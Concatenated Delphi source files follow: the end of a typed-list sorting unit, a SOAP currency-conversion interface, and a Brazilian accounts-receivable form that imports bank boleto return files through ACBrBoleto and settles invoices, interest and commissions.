Item2 then Result := -1 else Result := 0; end; function CompareInteger(const Item1, Item2: Integer): Integer; begin if Item1 > Item2 then Result := 1 else if Item1 < Item2 then Result := -1 else Result := 0; end; function CompareInt64(const Item1, Item2: Int64): Integer; begin if Item1 > Item2 then Result := 1 else if Item1 < Item2 then Result := -1 else Result := 0; end; { TByteList } procedure TByteList.Sort; begin inherited Sort(@CompareByte); end; { TCardinalList } procedure TCardinalList.Sort; begin inherited Sort(@CompareCardinal); end; { TIntegerList } procedure TIntegerList.Sort; begin inherited Sort(@CompareInteger); end; { TInt64List } procedure TInt64List.Sort; begin inherited Sort(@CompareInt64); end; end.
unit ConvertIntf; interface type IConvert = interface(IInvokable) ['{FF1EAA45-0B94-4630-9A18-E768A91A78E2}'] function ConvertCurrency (Source, Dest: string; Amount: Double): Double; stdcall; function ToEuro (Source: string; Amount: Double): Double; stdcall; function FromEuro (Dest: string; Amount: Double): Double; stdcall; function TypesList: string; stdcall; end; implementation uses InvokeRegistry; initialization InvRegistry.RegisterInterface(TypeInfo(IConvert)); end.
unit uCobRetorno; //ABCR Novo interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Grids, DBGrids, SMDBGrid, ExtCtrls, StdCtrls, Buttons, Mask, ToolEdit, RxLookup, ACBrBase, ACBrBoleto, NxCollection, UDMCobEletronica, rsDBUtils, db, uDm1, uUtilPadrao; type TfCobRetorno = class(TForm) ACBrBoleto1: TACBrBoleto; Panel3: TPanel; Label6: TLabel; Label1: TLabel; RxDBLookupCombo3: TRxDBLookupCombo; FilenameEdit1: TFilenameEdit; SMDBGrid1: TSMDBGrid; Panel2: TPanel; Shape1: TShape; Label33: TLabel; Shape2: TShape; Label2: TLabel; Shape3: TShape; Label3: TLabel; Shape4: TShape; Label4: TLabel; btnLocalizar: TNxButton; NxButton1: TNxButton; Shape5: TShape; Label5: TLabel; Shape6: TShape; Label7: TLabel; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormShow(Sender: TObject); procedure RxDBLookupCombo3Enter(Sender: TObject); procedure NxButton1Click(Sender: TObject); procedure prc_ConfiguraACBR; procedure btnLocalizarClick(Sender: TObject); procedure SMDBGrid1GetCellParams(Sender: TObject; Field: TField; AFont: TFont; var Background: TColor; Highlight: Boolean); procedure FilenameEdit1Change(Sender: TObject); procedure RxDBLookupCombo3Change(Sender: TObject); private { Private declarations } fDmCob_Eletronica: TDmCobEletronica; fDm1: TDm1; vFilial: Integer; vNumMov, vNumMovJuros : Integer; procedure prc_Monta_Ocorrencia; procedure prc_Monta_Erro_Liq(Codigo, Tipo: String); procedure prc_Posiciona_Duplicata; procedure prc_Liquidacao; procedure prc_mRetorno_Atualizado; procedure Grava_Historico(Tipo, Historico : String); //E- Entrada L- Liquidação P-Protestado procedure Grava_ExtComissao; public { Public declarations } vID_BancoLoc : Integer; end; var fCobRetorno: TfCobRetorno; implementation uses UDM2; {$R *.dfm} procedure TfCobRetorno.FormClose(Sender: TObject; var Action: TCloseAction); begin vID_BancoLoc := 0; FreeAndNil(fDmCob_Eletronica); Action := caFree; end; procedure TfCobRetorno.FormShow(Sender: TObject); begin fDmCob_Eletronica := TDmCobEletronica.Create(Self); oDBUtils.SetDataSourceProperties(Self,fDmCob_Eletronica); fDMCob_Eletronica.tContas.Open; if vID_BancoLoc > 0 then RxDBLookupCombo3.KeyValue := vID_BancoLoc else if (fDmCob_Eletronica.tContas.RecordCount < 2) and (fDmCob_Eletronica.tContasCodConta.AsInteger > 0) then RxDBLookupCombo3.KeyValue := fDmCob_Eletronica.tContasCodConta.AsInteger; end; procedure TfCobRetorno.RxDBLookupCombo3Enter(Sender: TObject); begin fDmCob_Eletronica.tContas.IndexFieldNames := 'NomeConta'; end; procedure TfCobRetorno.NxButton1Click(Sender: TObject); begin if fDMCob_Eletronica.mRetorno.IsEmpty then begin MessageDlg('*** Não existe título para atualizar!', mtInformation, [mbOk], 0); exit; end; // if not Assigned(fDm1) then // fDm1 := TDM1.Create(Self); fDMCob_Eletronica.mRetorno.First; while not fDMCob_Eletronica.mRetorno.Eof do begin fDMCob_Eletronica.vNossoNumero := ''; if fDmCob_Eletronica.mRetornoCodCliente.AsInteger > 0 then begin if ((fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LIQ') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LNO') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LCA') or (trim(fDMCob_Eletronica.mRetornoDescLiquidacao.AsString) <> '')) then begin prc_Posiciona_Duplicata; if not (fDmCob_Eletronica.tCReceberParc.IsEmpty) and ((fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LIQ') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LNO') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LCA') or (trim(fDMCob_Eletronica.mRetornoDescLiquidacao.AsString) <> '')) and (StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat)) > 0) and (fDmCob_Eletronica.vExiste_Rec) then prc_Liquidacao end else begin if fDMCob_Eletronica.mRetornoAtualizar.AsString = 'S' then begin try prc_Posiciona_Duplicata; if fDmCob_Eletronica.vExiste_Rec then begin if fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'PRO' then fDMCob_Eletronica.prc_Gravar_Duplicata('PRO') else begin fDMCob_Eletronica.vNossoNumero := fDMCob_Eletronica.mRetornoNossoNumero.AsString; fDmCob_Eletronica.xNossoNum := fDmCob_Eletronica.mRetornoNossoNumero.AsVariant; fDMCob_Eletronica.prc_Gravar_Duplicata('NNU'); end; prc_mRetorno_Atualizado; end; except end; end; end; end; fDMCob_Eletronica.mRetorno.Next; end; FreeAndNil(fDm1); MessageDlg('*** Concluído!', mtInformation, [mbOk], 0); end; procedure TfCobRetorno.prc_ConfiguraACBR; begin ACBrBoleto1.ListadeBoletos.Clear; if fDmCob_Eletronica.tContasACBR_LAYOUTREMESSA.AsString = 'C240' then ACBrBoleto1.LayoutRemessa := C240 else ACBrBoleto1.LayoutRemessa := C400; case fDmCob_Eletronica.tContasACBR_TIPOCOBRANCA.AsInteger of 1: ACBrBoleto1.Banco.TipoCobranca := cobBancoDoBrasil; 2: ACBrBoleto1.Banco.TipoCobranca := cobBancoDoNordeste; 3: ACBrBoleto1.Banco.TipoCobranca := cobBancoMercantil; 4: ACBrBoleto1.Banco.TipoCobranca := cobBancoob; 5: ACBrBoleto1.Banco.TipoCobranca := cobBanestes; 6: ACBrBoleto1.Banco.TipoCobranca := cobBanrisul; 7: ACBrBoleto1.Banco.TipoCobranca := cobBicBanco; 8: ACBrBoleto1.Banco.TipoCobranca := cobBradesco; 9: ACBrBoleto1.Banco.TipoCobranca := cobBradescoSICOOB; 10: ACBrBoleto1.Banco.TipoCobranca := cobBRB; 11: ACBrBoleto1.Banco.TipoCobranca := cobCaixaEconomica; 12: ACBrBoleto1.Banco.TipoCobranca := cobCaixaSicob; 13: ACBrBoleto1.Banco.TipoCobranca := cobHSBC; 14: ACBrBoleto1.Banco.TipoCobranca := cobItau; 15: ACBrBoleto1.Banco.TipoCobranca := cobNenhum; 16: ACBrBoleto1.Banco.TipoCobranca := cobSantander; 17: ACBrBoleto1.Banco.TipoCobranca := cobSicred; end; ACBrBoleto1.Cedente.Nome := fDmCob_Eletronica.tFilialEmpresa.AsString; ACBrBoleto1.Cedente.CodigoCedente := fDmCob_Eletronica.tContasCodCedente.AsString; ACBrBoleto1.Cedente.Agencia := fDmCob_Eletronica.tContasAgencia.AsString; ACBrBoleto1.Cedente.AgenciaDigito := fDmCob_Eletronica.tContasAgencia_Dig.AsString; ACBrBoleto1.Cedente.Conta := fDmCob_Eletronica.tContasNumConta.AsString; ACBrBoleto1.Cedente.ContaDigito := fDmCob_Eletronica.tContasDigConta.AsString; ACBrBoleto1.Cedente.UF := fDmCob_Eletronica.tFilialEstado.AsString; ACBrBoleto1.DirArqRemessa := fDmCob_Eletronica.tContasEnd_Arq_Rem.AsString; ACBrBoleto1.NomeArqRetorno := 'COB_' + FormatDateTime('YYYYMMDD_HHMMSS',Now)+'.TXT'; ACBrBoleto1.Cedente.CNPJCPF := fDmCob_Eletronica.tFilialCNPJ.AsString; ACBrBoleto1.Cedente.TipoInscricao := pJuridica; end; procedure TfCobRetorno.btnLocalizarClick(Sender: TObject); var i: Integer; vDir: String; vNomeArq: String; i2: Integer; vTexto: String; begin fDmCob_Eletronica.mRetorno.EmptyDataSet; prc_ConfiguraACBR; fDMCob_Eletronica.qContas_Retorno.Close; fDMCob_Eletronica.qContas_Retorno.ParamByName('ID').AsInteger := fDMCob_Eletronica.tContasCodConta.AsInteger; fDMCob_Eletronica.qContas_Retorno.Open; fDMCob_Eletronica.cdsRet_Cadastro.Close; fDMCob_Eletronica.sdsRet_Cadastro.ParamByName('ID_BANCO').AsInteger := fDMCob_Eletronica.tContasIdBanco.AsInteger; fDMCob_Eletronica.cdsRet_Cadastro.Open; fDmCob_Eletronica.tContas.IndexFieldNames := 'CODCONTA'; fDmCob_Eletronica.tContas.FindKey([RxDBLookupCombo3.KeyValue]); vFilial := fDmCob_Eletronica.tContasFILIAL.AsInteger; ACBrBoleto1.Banco.Numero := fDmCob_Eletronica.tContasCodBanco.AsInteger; ACBrBoleto1.Banco.Nome := fDmCob_Eletronica.tContasAcbr_TipoCobranca.AsString;// 'Banco do Estado do Rio Grande do Sul S.A.'; vNomeArq := FilenameEdit1.Text; if copy(vNomeArq,1,1) = '"' then begin delete(vNomeArq,1,1); delete(vNomeArq,Length(vDir),1); end; vDir := ExtractFilePath(vNomeArq); delete(vDir,Length(vDir),1); ACBrBoleto1.DirArqRetorno := vDir; ACBrBoleto1.NomeArqRetorno := Copy(vNomeArq,Length(ACBrBoleto1.DirArqRetorno) + 2, Length(vNomeArq) + 1 - Length(ACBrBoleto1.DirArqRetorno)); vNomeArq := ACBrBoleto1.NomeArqRetorno; if copy(vNomeArq,Length(vNomeArq),1) = '"' then delete(vNomeArq,Length(vNomeArq),1); ACBrBoleto1.NomeArqRetorno := vNomeArq; ACBrBoleto1.LerRetorno; for i := 0 to acbrboleto1.ListadeBoletos.Count - 1 do begin with acbrboleto1.ListadeBoletos.Objects[I] do begin fDMCob_Eletronica.mRetorno.Insert; fDmCob_Eletronica.mRetornoNomeCliente.AsString := Sacado.NomeSacado; fDmCob_Eletronica.mRetornoNossoNumero.AsString := NossoNumero; fDmCob_Eletronica.mRetornoSeuNumero.AsString := SeuNumero; fDmCob_Eletronica.mRetornoID_Duplicata.AsString := IdentTituloEmpresa; vTexto := trim(NumeroDocumento); i2 := pos('/',vTexto); if i2 > 0 then begin fDmCob_Eletronica.mRetornoNumNota.AsString := copy(vTexto,3,i2-1); fDmCob_Eletronica.mRetornoParcela.AsString := copy(vTexto,i2+1,Length(vTexto) - i2+1); end else fDmCob_Eletronica.mRetornoNumNota.AsString := NumeroDocumento; fDmCob_Eletronica.mRetornoDtOcorrencia.AsDateTime := DataOcorrencia; fDmCob_Eletronica.mRetornoCodOcorrenciaRet.AsString := OcorrenciaOriginal.CodigoBanco; prc_Monta_Ocorrencia; fDmCob_Eletronica.mRetornoVlrTitulo.AsCurrency := ValorDocumento; fDmCob_Eletronica.mRetornoVlrPago.AsCurrency := ValorRecebido; fDmCob_Eletronica.mRetornoNomeCliente.AsString := Sacado.NomeSacado; fDmCob_Eletronica.mRetornoVlrJurosPagos.AsCurrency := ValorMoraJuros; fDmCob_Eletronica.mRetornoVlrAbatimento.AsCurrency := ValorAbatimento; fDmCob_Eletronica.mRetornoVlrDesconto.AsCurrency := ValorDesconto; fDmCob_Eletronica.mRetornoNomeCliente.AsString := Sacado.NomeSacado; fDmCob_Eletronica.mRetornoVlrDespesaCobranca.AsCurrency := ValorDespesaCobranca; vTexto := trim(fDmCob_Eletronica.mRetornoID_Duplicata.AsString); i2 := pos('.',vTexto); if i2 > 0 then begin fDmCob_Eletronica.mRetornoID_Duplicata.AsString := copy(vTexto,i2+1,Length(vTexto) - i2+1); fDmCob_Eletronica.mRetornoID_Duplicata.AsString := Copy(fDmCob_Eletronica.mRetornoID_Duplicata.AsString,1, Length(fDmCob_Eletronica.mRetornoID_Duplicata.AsString)-2); fDmCob_Eletronica.mRetornoFilial.AsString := copy(vTexto,1,i2-1); end; if trim(vTexto) <> '' then begin if fDmCob_Eletronica.mRetornoID_Duplicata.AsInteger > 0 then begin prc_Posiciona_Duplicata; // fDmCob_Eletronica.prc_Duplicata(0,fDmCob_Eletronica.mRetornoID_Duplicata.AsInteger,0,0,0,'',''); if not fDmCob_Eletronica.tCReceberParc.IsEmpty then begin // fDmCob_Eletronica.mRetornoNomeCliente.AsString := fDmCob_Eletronica.tCReceberParcNomeCliente.AsString; fDmCob_Eletronica.mRetornoDtVenc.AsString := fDmCob_Eletronica.tCReceberParcDtVencCReceber.AsString; fDmCob_Eletronica.mRetornoCodCliente.AsInteger := fDmCob_Eletronica.tCReceberParcCodCli.AsInteger; end; end; end; if fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'PRO' then fDmCob_Eletronica.mRetornoAtualizar.AsString := 'S' else if fDmCob_Eletronica.mRetornoCodOcorrenciaRet.AsString = '02' then fDmCob_Eletronica.mRetornoAtualizar.AsString := 'S'; fDMCob_Eletronica.mRetorno.Post; end; end; end; procedure TfCobRetorno.SMDBGrid1GetCellParams(Sender: TObject; Field: TField; AFont: TFont; var Background: TColor; Highlight: Boolean); begin if fDmCob_Eletronica.mRetorno.IsEmpty then exit; if (fDMCob_Eletronica.mRetornoAtualizado.AsString = 'S') then Background := $00D7D7D7 else if fDmCob_Eletronica.mRetornoCodCliente.AsInteger <= 0 then begin Background := clMaroon; AFont.Color := clWhite; end else if fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'ERR' then begin Background := clRed; AFont.Color := clWhite; end else if (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LIQ') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LCA') or (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LNO') then Background := clMoneyGreen else if (fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'PRO') then Background := clYellow else if (fDMCob_Eletronica.mRetornoAtualizar.AsString = 'S') then Background := $00FFCB97; end; procedure TfCobRetorno.prc_Monta_Ocorrencia; begin if (fDMCob_Eletronica.cdsRet_Cadastro.Locate('CODIGO;TIPO_REG', VarArrayOf([fDMCob_Eletronica.mRetornoCodOcorrenciaRet.AsString,'OCO']), [locaseinsensitive])) then begin fDMCob_Eletronica.mRetornoNomeOcorrenciaRet.AsString := fDMCob_Eletronica.cdsRet_CadastroNOME.AsString; fDMCob_Eletronica.mRetornoTipo_Ret.AsString := fDmCob_Eletronica.cdsRet_CadastroTIPO_RET.AsString; end; end; procedure TfCobRetorno.prc_Monta_Erro_Liq(Codigo, Tipo: String); var vCodErro: array[1..4] of String; i: Integer; vIndiceErro: Integer; vIErro: Integer; begin fDmCob_Eletronica.qRet_Erro.Open; vIndiceErro := 0; vIErro := fDMCob_Eletronica.qContas_RetornoQTD_ERRO_CADASTRO.AsInteger; if vIErro <= 0 then vIErro := 2; for i := 1 to 4 do vCodErro[i] := ''; i := vIErro; if copy(Codigo,1,vIErro) <> '' then vCodErro[1] := copy(Codigo,1,vIErro); i := i + 1; if copy(Codigo,i,vIErro) <> '' then vCodErro[2] := copy(Codigo,i,vIErro); i := i + vIErro; if copy(Codigo,i,vIErro) <> '' then vCodErro[3] := copy(Codigo,i,vIErro); i := i + vIErro; if copy(Codigo,i,vIErro) <> '' then vCodErro[4] := copy(Codigo,i,vIErro); fDMCob_Eletronica.mRetornoTipo_Ret.AsString := Tipo; for i := 1 to 4 do begin if trim(vCodErro[i]) <> '' then begin vIndiceErro := vIndiceErro + 1; fDMCob_Eletronica.qRet_Erro.Close; fDMCob_Eletronica.qRet_Erro.ParamByName('CODIGO').AsString := vCodErro[i]; fDMCob_Eletronica.qRet_Erro.ParamByName('TIPO_REG').AsString := Tipo; fDMCob_Eletronica.qRet_Erro.Open; if not fDMCob_Eletronica.qRet_Erro.IsEmpty then begin if Tipo = 'LIQ' then fDMCob_Eletronica.mRetornoDescLiquidacao.AsString := fDMCob_Eletronica.qRet_ErroNOME.AsString else fDMCob_Eletronica.mRetorno.FieldByName('DescErro'+IntToStr(vIndiceErro)).AsString := fDMCob_Eletronica.qRet_ErroNOME.AsString; end; end; end; end; procedure TfCobRetorno.prc_Posiciona_Duplicata; begin if (trim(fDMCob_Eletronica.mRetornoFilial.AsString) <> '') and (trim(fDMCob_Eletronica.mRetornoID_Duplicata.AsString) <> '') and (trim(fDMCob_Eletronica.mRetornoParcela.AsString) <> '') then fDmCob_Eletronica.prc_Localizar(fDMCob_Eletronica.mRetornoFilial.AsInteger, fDMCob_Eletronica.mRetornoID_Duplicata.AsInteger, fDMCob_Eletronica.mRetornoParcela.AsInteger); fDmCob_Eletronica.tCReceberParcHist.Close; fDmCob_Eletronica.tCReceberParcHist.Open; vFilial := fDmCob_Eletronica.tCReceberParcFILIAL.AsInteger; end; procedure TfCobRetorno.prc_Liquidacao; var vHistAux: String; vComDesconto: String; begin if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat)) > 0 then begin fDmCob_Eletronica.tCReceberParc.Edit; if (RxDBLookupCombo3.Text <> '') and (fDmCob_Eletronica.tCReceberParcCodConta.AsInteger <= 0) then fDmCob_Eletronica.tCReceberParcCodConta.AsInteger := RxDBLookupCombo3.KeyValue; fDmCob_Eletronica.tCReceberParcDespesas.AsFloat := StrToFloat(FormatFloat('0.00',0)); // fDmCob_Eletronica.tCReceberParcVLR_PAGO.AsFloat := StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat)); fDmCob_Eletronica.tCReceberParcDesconto.AsFloat := StrToFloat(FormatFloat('0.00',fDMCob_Eletronica.mRetornoVlrDesconto.AsFloat)); fDmCob_Eletronica.tCReceberParcJurosPagos.AsFloat := StrToFloat(FormatFloat('0.00',fDMCob_Eletronica.mRetornoVlrJurosPagos.AsFloat)); fDmCob_Eletronica.tCReceberParcPgtoParcial.AsFloat := StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcVlrParcCReceber.AsFloat - fDMCob_Eletronica.mRetornoVlrDesconto.AsFloat)); fDmCob_Eletronica.tCReceberParcDespesas.AsFloat := StrToFloat(FormatFloat('0.00',fDMCob_Eletronica.mRetornoVlrDespesaCobranca.AsFloat)); if trim(fDMCob_Eletronica.mRetornoDtLiquidacao.AsString) = '' then fDmCob_Eletronica.tCReceberParcDtPagParcCReceber.AsDateTime := fDMCob_Eletronica.mRetornoDtOcorrencia.AsDateTime else fDmCob_Eletronica.tCReceberParcDtPagParcCReceber.AsDateTime := fDMCob_Eletronica.mRetornoDtLiquidacao.AsDateTime; vHistAux := ''; if fDMCob_Eletronica.mRetornoTipo_Ret.AsString = 'LCA' then begin vHistAux := 'LCA '; fDmCob_Eletronica.tCReceberParcPgCartorio.AsString := 'S'; end; {fDm1.prc_Gravar_Dupicata_Hist('PAG',vHistAux + 'PAGAMENTO DE TITULO',fDmCob_Eletronica.tCReceberParcPgtoParcial.AsFloat, fDMCob_Eletronica.mRetornoVlrJurosPagos.AsFloat,fDMCob_Eletronica.mRetornoVlrDesconto.AsFloat, fDmCob_Eletronica.tCReceberParcVLR_DESPESAS.AsFloat,fDmCob_Eletronica.tCReceberParcVLR_TAXA_BANCARIA.AsFloat, fDmCob_Eletronica.tCReceberParcID_TIPOCOBRANCA.AsInteger);} vComDesconto := ''; if StrToFloat(FormatFloat('0.00',fDMCob_Eletronica.mRetornoVlrDesconto.AsFloat)) > 0 then vComDesconto := 'S'; { if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcPgtoParcial.AsFloat)) > 0 then fDm1.prc_Gravar_Financeiro(fDmCob_Eletronica.tCReceberParcPgtoParcial.AsFloat,'P',fDmCob_Eletronica.tCReceberParcID_TIPOCOBRANCA.AsInteger,vComDesconto); if StrToFloat(FormatFloat('0.00',fDMCob_Eletronica.mRetornoVlrJurosPagos.AsFloat)) > 0 then fDm1.prc_Gravar_Financeiro(fDMCob_Eletronica.mRetornoVlrJurosPagos.AsFloat,'J',fDmCob_Eletronica.tCReceberParcID_TIPOCOBRANCA.AsInteger); if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcVLR_DESPESAS.AsFloat)) > 0 then fDm1.prc_Gravar_Financeiro(fDmCob_Eletronica.tCReceberParcVLR_DESPESAS.AsFloat,'D',fDmCob_Eletronica.tCReceberParcID_TIPOCOBRANCA.AsInteger); if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcVLR_TAXA_BANCARIA.AsFloat)) > 0 then fDm1.prc_Gravar_Financeiro(fDmCob_Eletronica.tCReceberParcVLR_TAXA_BANCARIA.AsFloat,'T',fDmCob_Eletronica.tCReceberParcID_TIPOCOBRANCA.AsInteger); } fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat := StrToFloat(FormatFloat('0.00',0)); //vHistorico := 'PAGAMENTO TOTAL' + ' - ' + fDmCob_Eletronica.mRetornoNomeOcorrenciaRet.AsString; if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat)) <= 0 then fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat := 0; if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat)) = 0 then fDmCob_Eletronica.tCReceberParcQuitParcCReceber.AsBoolean := True; if DMCobEletronica.mRetornoCodOcorrenciaRet.AsString = '17' then fDmCob_Eletronica.tCReceberParcPgCartorio.AsBoolean := True; fDmCob_Eletronica.tCReceberParcQuitParcCReceber.AsBoolean := True; DM1.tMovimentos.MasterSource.Enabled := False; DM2.tMovimentos2.Refresh; DM2.tMovimentos2.Filtered := False; DM2.tMovimentos2.Filter := 'CodConta = '''+IntToStr(fDmCob_Eletronica.tCReceberParcCodConta.AsInteger)+''''; DM2.tMovimentos2.Filtered := True; DM2.tMovimentos2.Last; DM1.tMovimentos.Insert; DM1.tMovimentosCodConta.AsInteger := fDmCob_Eletronica.tCReceberParcCodConta.AsInteger; DM1.tMovimentosNumMovimento.AsInteger := DM2.tMovimentos2NumMovimento.AsInteger + 1; DM1.tMovimentosNumCReceber.AsInteger := fDmCob_Eletronica.tCReceberParcNumCReceber.AsInteger; //DM1.tMovimentosDtMovimento.AsDateTime := fDmCob_Eletronica.mRetornoDtCredito.AsDateTime; DM1.tMovimentosDtMovimento.AsDateTime := fDmCob_Eletronica.tCReceberParcDtPagParcCReceber.AsDateTime; DM1.tMovimentosNumNota.AsInteger := fDmCob_Eletronica.tCReceberParcNumNota.AsInteger; DM1.tMovimentosCodCli.AsInteger := fDmCob_Eletronica.tCReceberParcCodCli.AsInteger; DM1.tMovimentosPlanoContas.AsInteger := fDmCob_Eletronica.tCReceberParcPlanoContas.AsInteger; //DM1.tMovimentosVlrMovCredito.AsCurrency := fDmCob_Eletronica.mRetornoVlrPago.AsFloat; DM1.tMovimentosVlrMovCredito.AsCurrency := StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.tCReceberParcPgtoParcial.AsFloat)); DM1.tMovimentosHistorico.AsString := 'Rec.Parc.nº '+ fDmCob_Eletronica.tCReceberParcPgtoParcial.AsString + ' nf.nº ' + fDmCob_Eletronica.tCReceberParcNumNota.AsString + ' de ' + fDmCob_Eletronica.mRetornoNomeCliente.AsString; DM1.tMovimentos.Post; vNumMov := DM1.tMovimentosNumMovimento.AsInteger; //Lança os Juros no movimento financeiro if fDmCob_Eletronica.mRetornoVlrJurosPagos.AsFloat > 0 then begin DM2.tMovimentos2.Refresh; DM2.tMovimentos2.Filtered := False; DM2.tMovimentos2.Filter := 'CodConta = '''+IntToStr(fDmCob_Eletronica.tCReceberParcCodConta.AsInteger)+''''; DM2.tMovimentos2.Filtered := True; DM2.tMovimentos2.Last; DM1.tMovimentos.Insert; DM1.tMovimentosCodConta.AsInteger := fDmCob_Eletronica.tCReceberParcCodConta.AsInteger; DM1.tMovimentosNumMovimento.AsInteger := DM2.tMovimentos2NumMovimento.AsInteger + 1; DM1.tMovimentosNumCReceber.AsInteger := fDmCob_Eletronica.tCReceberParcNumCReceber.AsInteger; DM1.tMovimentosDtMovimento.AsDateTime := fDmCob_Eletronica.mRetornoDtOcorrencia.AsDateTime; DM1.tMovimentosVlrMovCredito.AsFloat := fDmCob_Eletronica.mRetornoVlrJurosPagos.AsFloat; DM1.tMovimentosNumNota.AsInteger := fDmCob_Eletronica.tCReceberParcNumNota.AsInteger; DM1.tMovimentosCodCli.AsInteger := fDmCob_Eletronica.tCReceberParcCodCli.AsInteger; DM1.tMovimentosPlanoContas.AsInteger := fDmCob_Eletronica.tCReceberParcPlanoContas.AsInteger; DM1.tMovimentosHistorico.AsString := 'Rec.Juros s/Parc.nº '+ fDmCob_Eletronica.tCReceberParcParcCReceber.AsString + ' nf.nº ' + fDmCob_Eletronica.tCReceberParcNumNota.AsString + ' de ' + fDmCob_Eletronica.mRetornoNomeCliente.AsString; DM1.tMovimentos.Post; DM1.tContas.FindKey([fDmCob_Eletronica.tCReceberParcCodConta.AsInteger]); vNumMovJuros := DM1.tMovimentosNumMovimento.AsInteger; end; fDmCob_Eletronica.tCReceberParcCodConta.AsInteger := fDmCob_Eletronica.tCReceberParcCodConta.AsInteger; if fDmCob_Eletronica.tCReceberParcDtPagParcCReceber.AsDateTime > fDmCob_Eletronica.tCReceberParcDtVencCReceber.AsDateTime then fDmCob_Eletronica.tCReceberParcDiasAtraso.AsFloat := fDmCob_Eletronica.tCReceberParcDtPagParcCReceber.AsDateTime - fDmCob_Eletronica.tCReceberParcDtVencCReceber.AsDateTime else fDmCob_Eletronica.tCReceberParcDiasAtraso.AsFloat := 0; //if fDmCob_Eletronica.tCReceberParcRestParcela.AsFloat > 0 then Grava_Historico('L','PAGAMENTO TOTAL'); if (fDmCob_Eletronica.tCReceberParclkTipoComissao.AsString = 'D') and (fDmCob_Eletronica.tCReceberParcCodVendedor.AsInteger > 0) and (fDmCob_Eletronica.tCReceberParcPercComissao.AsFloat > 0) then Grava_ExtComissao; fDmCob_Eletronica.tCReceberParcHist.Post; fDmCob_Eletronica.tCReceberParc.Post; if fDmCob_Eletronica.tCReceberParc.State in [dsEdit,dsInsert] then fDmCob_Eletronica.tCReceberParc.Post; prc_mRetorno_Atualizado; end; end; procedure TfCobRetorno.prc_mRetorno_Atualizado; begin fDmCob_Eletronica.mRetorno.Edit; fDmCob_Eletronica.mRetornoAtualizado.AsString := 'S'; fDmCob_Eletronica.mRetorno.Post; end; procedure TfCobRetorno.FilenameEdit1Change(Sender: TObject); begin if trim(FilenameEdit1.Text) <> '' then btnLocalizarClick(Sender); end; procedure TfCobRetorno.RxDBLookupCombo3Change(Sender: TObject); begin if not fDmCob_Eletronica.tFilial.Active then fDmCob_Eletronica.tFilial.Open; fDmCob_Eletronica.tFilial.IndexFieldNames := 'Codigo'; fDmCob_Eletronica.tFilial.FindKey([fDmCob_Eletronica.tContasFilial.AsInteger]); end; procedure TfCobRetorno.Grava_ExtComissao; var vAux, vPercentual, vPercentual2 : Real; vItemAux : Integer; begin DM1.tExtComissao.IndexFieldNames := 'NroLancamento'; DM1.tExtComissao.Last; vItemAux := DM1.tExtComissaoNroLancamento.AsInteger; DM1.tExtComissao.Insert; DM1.tExtComissaoNroLancamento.AsInteger := vItemAux + 1; DM1.tExtComissaoCodVendedor.AsInteger := fDmCob_Eletronica.tCReceberParcCodVendedor.AsInteger; DM1.tExtComissaoDtReferencia.AsDateTime := fDmCob_Eletronica.mRetornoDtOcorrencia.AsDateTime; DM1.tExtComissaoParcDoc.AsInteger := fDmCob_Eletronica.tCReceberParcParcCReceber.AsInteger; DM1.tExtComissaoCodCliente.AsInteger := fDmCob_Eletronica.tCReceberParcCodCli.AsInteger; DM1.tExtComissaoFuncao.AsString := 'E'; DM1.tExtComissaoNroDoc.AsInteger := fDmCob_Eletronica.tCReceberParcNumNota.AsInteger; if StrToFloat(FormatFloat('0.00',fDmCob_Eletronica.mRetornoVlrPago.AsFloat)) > 0 then DM1.tExtComissaoVlrBase.AsCurrency := fDmCob_Eletronica.mRetornoVlrPago.AsFloat else DM1.tExtComissaoVlrBase.AsCurrency := fDmCob_Eletronica.mRetornoVlrTitulo.AsFloat; DM1.tExtComissaoPercDescDupl.AsFloat := fDmCob_Eletronica.tCReceberParcDesconto.AsFloat; DM1.tExtComissaoPercComissao.AsFloat := fDmCob_Eletronica.tCReceberParcPercComissao.AsFloat; if fDmCob_Eletronica.tCReceberParcPercComissao.AsFloat > 0 then begin vAux := 0; DM1.tNotaFiscal.IndexFieldNames := 'Filial;NumNota'; DM1.tNotaFiscal.SetKey; DM1.tNotaFiscalFilial.AsInteger := fDmCob_Eletronica.tCReceberParcFilial.AsInteger; DM1.tNotaFiscalNumNota.AsInteger := fDmCob_Eletronica.tCReceberParcNumNota.AsInteger; if DM1.tNotaFiscal.GotoKey then begin if DM1.tNotaFiscalVlrIpi.AsFloat > 0 then begin if fDmCob_Eletronica.tCReceberParc.RecordCount = 1 then begin vPercentual := StrToFloat(FormatFloat('0.0000',(DM1.tExtComissaoVlrBase.AsFloat / fDmCob_Eletronica.tCReceberParcVlrParcCReceber.AsFloat) * 100)); vAux := StrToFloat(FormatFloat('0.00',(DM1.tNotaFiscalVlrIpi.AsFloat * vPercentual) / 100)); DM1.tExtComissaoVlrBase.AsCurrency := DM1.tExtComissaoVlrBase.AsCurrency - vAux; end else begin 